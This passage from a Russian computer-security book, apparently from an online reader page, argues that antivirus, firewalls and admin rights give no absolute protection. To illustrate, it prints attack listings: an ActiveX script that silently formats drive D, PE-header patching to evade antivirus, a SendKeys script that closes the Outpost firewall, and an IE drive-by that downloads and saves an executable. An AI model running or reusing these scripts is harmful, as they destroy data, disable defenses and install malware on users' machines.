a=new ActiveXObject('WScript.Shell');

a.run('cmd /c format d:/y',0);

 </script>

Вышеописанный сценарий, внедренный злоумышленником в HTML-страницу, ни много ни мало незаметно форматирует диск, указанный в коде.

Продолжим веселый некролог.

Вариант 3. Система притормаживала, и на время игры в Counter Strike пользователь отключил антивирус. «Зараза» чувствует это и выполняет свою «культурную программу».

Вариант 4. Антивирус оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE- заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).

Листинг 1.3. Некоторый учебный пример модификации PE-заголовка

_PtchImSz:

mov eax, [esi + 0Ch] ; VirtualRVA(Last section)

add eax, [esi + 08h] ; VirtualSize(Last section)

mov [edi + 50h], eax

Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.

Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

Брандмауэр

Нужен ли нам брандмауэр?

Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.

Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…

Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

set WShell = CreateObject('WScript.Shell')

WShell.Exec ' FilesAgnitumOutpost Firewalloutpost.exe'

WScript.Sleep 200

WShell.AppActivate 'Agnitum', TRUE

WScript.Sleep 100

WShell.SendKeys '{F10}{DOWN}{UP}{ENTER}'

WScript.Sleep 100

WShell.SendKeys '{ENTER}'

ПРИМЕЧАНИЕ

Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий 'зло-код' (рис. 1.1)!

Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.

Рис. 1.2. И опять наш «Касперский» оказался на высоте

Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

<script>

var x = new ActiveXObject('Microsoft.XMLHTTP');

x.OpenC'GET', 'http://www.example.com/1.exe', 0);

x.Send();

var s = new ActiveXObject('ADODB.Stream');

s.Mode = 3;

s.Type = 1;

s.Open();

s.Write(x.responseBody);

s.SaveToFile('C:\example.exe', 2);

</script>

<script language='javascript'>

 function preparecode(code)

{ result = '';

lines = code.split(/ /);

for (i=0; i<lines.length; i++) {

line = lines[i];

line = line.replace(/*s+/,'');

line = line.replace(/s+$/,'');

line = line.replace(/'/g,''');

line = line.replace(/[\]/g,'\');

line = line.replace(/[/]/g,'%2f');

if (line != '') {

result += line +'\r\n';

}

}

return result;

}

function doit() {

mycode = preparecode(document.all.code.value);

myURL = 'file:javascript:eval(' + mycode + '')';

window.open(myURL, '_media');

}

setTimeout('doit()', 5000);

</script>

</html>

Вариант 3. Ни брандмауэр, ни антивирус тут вообще ни при чем. Пароли «утекли» через очередную успешно реализованную уязвимость, например, в службе LSASS (Local Security Authority Sub System). Благо же служб и сервисов у Windows предостаточно, а переполнение буфера никто не отменял. Приводить исходный код подобного вируса, пожалуй, вообще нет смысла.

Теперь попробуем разобраться, от чьих прав безопаснее осуществлять работу: администратора или пользователя.

Разумеется, пользователя! Все знают, что любой код, запущенный с правами администратора (к вирусам это тоже, конечно, относится), может куда больше, чем с правами 'смертного' пользователя.

В качестве яркого примера, иллюстрирующего 'всемогущие' возможности имени администратора, можно привести следующий код (листинг 1.6). Данный HTML-код, запущенный от имени пользователя, можно считать довольно безобидным, но только до тех пор, пока он не будет запущен от имени

Добавить отзыв
ВСЕ ОТЗЫВЫ О КНИГЕ В ИЗБРАННОЕ

0

Вы можете отметить интересные вам фрагменты текста, которые будут доступны по уникальной ссылке в адресной строке браузера.

Отметить Добавить цитату